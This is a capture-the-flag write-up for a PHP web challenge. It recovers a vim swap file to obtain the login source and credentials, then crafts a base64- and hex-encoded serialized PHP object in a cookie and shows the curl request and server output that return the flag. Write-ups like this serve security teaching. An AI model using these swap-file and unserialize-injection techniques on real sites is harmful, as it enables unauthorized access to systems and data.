This challenge has a a bit more complicated solution proceess and more fun to learn. We have a login page that stay inmmutable to our several injection attacks. The only weird thing is a comment on the source page, vim editor staff.
<!-- vim: set ts=2 sw=2: -->
So this php has been edited with vim? Will be a swap file downloadable? I can’t believe that ! After download it, see its content:
https://ctf.noconname.org/makemefeelweb/.login.php.swp
$ strings login.php.swp b0VIM 7.4 /ncn/web1/login.php 3210#"! @$data = unserialize(hex2bin(implode(explode("\\x", base64_decode($cookie))))); if (isset($_COOKIE['JSESSIONID'])) { if ($username == "p00p" && $password == "l!k34b4u5") { $this->p = $_passwd; $this->u = $_uname; public function __construct($_uname, $_passwd) { public $p; public $u; class Creds {
One could think «ok, i got it». Let’s see what happens when we try to login with that credentials.
username: p00p password: l!k34b4u5
After this LoL gif time, we have to analyze why this credentials aren’t totally correct.
First, we have to set a JSESSIONID cookie and see that even with empty value a message appears: «Getting close :)«. So something inside this cookie need to be injected, let’s see detailed the part of the code we have:
-> if (isset($_COOKIE['JSESSIONID'])) { // a message appears -> @$data = unserialize(hex2bin(implode(explode("\\x", base64_decode($cookie))))); // unserialize and hex2bin b64 staff of $cookie ? not $:COOKIE['JSESSIONID'] -> $this->p = $_passwd; -> $this->u = $_uname; -> public function __construct($_uname, $_passwd) { // cons method -> public $p; -> public $u; -> class Creds { // a class Creds
What could we do with PHP classes, unserialize and cookies ? Inject something that show us the flag. If the credentials are ok as ‘good try’ we need to know what to put on the JSESSIONID cookie.
First i think that we could do a PHP JSON Object command injection on the cookie, but obviously there was no ‘eval’ in the code, so let’s make our serialized class object:
O:5:"Creds":2:{s:1:"p";s:9:"l!k34b4u5";s:1:"u";s:4:"p00p";}
Object Creds with the two username/password variables inside it. Nothing happens if we try to inject this to the cookie, need to encoded some way:
>>> import base64 >>> base64.b64encode('O:5:"Creds":2:{s:1:"p";s:9:"l!k34b4u5";s:1:"u";s:4:"p00p";}'.encode('hex')) 'NGYzYTM1M2EyMjQzNzI2NTY0NzMyMjNhMzIzYTdiNzMzYTMxM2EyMjcwMjIzYjczM2EzOTNhMjI2YzIxNmIzMzM0NjIzNDc1MzUyMjNiNzMzYTMxM2EyMjc1MjIzYjczM2EzNDNhMjI3MDMwMzA3MDIyM2I3ZA==' >>> data='NGYzYTM1M2EyMjQzNzI2NTY0NzMyMjNhMzIzYTdiNzMzYTMxM2EyMjcwMjIzYjczM2EzOTNhMjI2YzIxNmIzMzM0NjIzNDc1MzUyMjNiNzMzYTMxM2EyMjc1MjIzYjczM2EzNDNhMjI3MDMwMzA3MDIyM2I3ZA==' >>> base64.b64decode(data) '4f3a353a224372656473223a323a7b733a313a2270223b733a393a226c216b333462347535223b733a313a2275223b733a343a2270303070223b7d' >>> hex='4f3a353a224372656473223a323a7b733a313a2270223b733a393a226c216b333462347535223b733a313a2275223b733a343a2270303070223b7d' >>> hex.decode('hex') 'O:5:"Creds":2:{s:1:"p";s:9:"l!k34b4u5";s:1:"u";s:4:"p00p";}'
Let’s curl with this data and see the flag:
curl -vvv -k 'https://ctf.noconname.org/makemefeelweb/login.php' -H 'Cookie: JSESSIONID=NGYzYTM1M2EyMjQzNzI2NTY0NzMyMjNhMzIzYTdiNzMzYTMxM2EyMjcwMjIzYjczM2EzOTNhMjI2YzIxNmIzMzM0NjIzNDc1MzUyMjNiNzMzYTMxM2EyMjc1MjIzYjczM2EzNDNhMjI3MDMwMzA3MDIyM2I3ZA==; _dashboard_session=amZORFlKSkUzTlN3Y3lFai9uUVVTcHdEMktQVXdVTWo5ckEzcDNjajVLaURYaHBFd0Yrc0Ixc2U3eWFMOGRPd1dVbTBFak8vWnd5OGVNZSt5MHNNNEl6Y0pVekhqTHZYaitaZUo5azBheVRvdVladWdSMEFxaXhqMFluUFAwMmo2bVl3emNQK3NWdjZmZTBKblNLdVFnTVFaUS90bXM2aWh1MDJtck9udzlaVVE4ejFjRnYzeUsxNVRwbHdyazFFbkZoQy9WelhnQUozWnVJaTlMZEhiV0s1WXVPLzNCY20xQzhOck9HeHFzMD0tLWsyZysvS3lJTWNnbDdwY3JwYXhtL3c9PQ%3D%3D--a91ebb3c5d6fa96e16a831a9e965b3004ec24c4b; PHPSESSID=uo8lqqhf0slqhn6nbclbnosp04;' * Adding handle: conn: 0x7facf480d000 * Adding handle: send: 0 * Adding handle: recv: 0 * Curl_addHandleToPipeline: length: 1 * - Conn 0 (0x7facf480d000) send_pipe: 1, recv_pipe: 0 * About to connect() to ctf.noconname.org port 443 (#0) * Trying 88.87.208.202... * Connected to ctf.noconname.org (88.87.208.202) port 443 (#0) * TLS 1.0 connection using TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA * Server certificate: ctf.noconname.org > GET /makemefeelweb/login.php HTTP/1.1 > User-Agent: curl/7.30.0 > Host: ctf.noconname.org > Accept: */* > Cookie: JSESSIONID=&lt;strong&gt;NGYzYTM1M2EyMjQzNzI2NTY0NzMyMjNhMzIzYTdiNzMzYTMxM2EyMjcwMjIzYjczM2EzOTNhMjI2YzIxNmIzMzM0NjIzNDc1MzUyMjNiNzMzYTMxM2EyMjc1MjIzYjczM2EzNDNhMjI3MDMwMzA3MDIyM2I3ZA==&lt;/strong&gt;; _dashboard_session=amZORFlKSkUzTlN3Y3lFai9uUVVTcHdEMktQVXdVTWo5ckEzcDNjajVLaURYaHBFd0Yrc0Ixc2U3eWFMOGRPd1dVbTBFak8vWnd5OGVNZSt5MHNNNEl6Y0pVekhqTHZYaitaZUo5azBheVRvdVladWdSMEFxaXhqMFluUFAwMmo2bVl3emNQK3NWdjZmZTBKblNLdVFnTVFaUS90bXM2aWh1MDJtck9udzlaVVE4ejFjRnYzeUsxNVRwbHdyazFFbkZoQy9WelhnQUozWnVJaTlMZEhiV0s1WXVPLzNCY20xQzhOck9HeHFzMD0tLWsyZysvS3lJTWNnbDdwY3JwYXhtL3c9PQ%3D%3D--a91ebb3c5d6fa96e16a831a9e965b3004ec24c4b; PHPSESSID=uo8lqqhf0slqhn6nbclbnosp04; > < HTTP/1.1 200 OK * Server nginx is not blacklisted < Server: nginx < Date: Sun, 14 Sep 2014 09:51:19 GMT < Content-Type: text/html < Content-Length: 44 < Connection: keep-alive < Strict-Transport-Security: max-age=15768000 < * Connection #0 to host ctf.noconname.org left intact NcN_778064be6556e64577517875a8710b0abeba1578
flag: NcN_778064be6556e64577517875a8710b0abeba1578
ps: Thanks to my dcua team mates.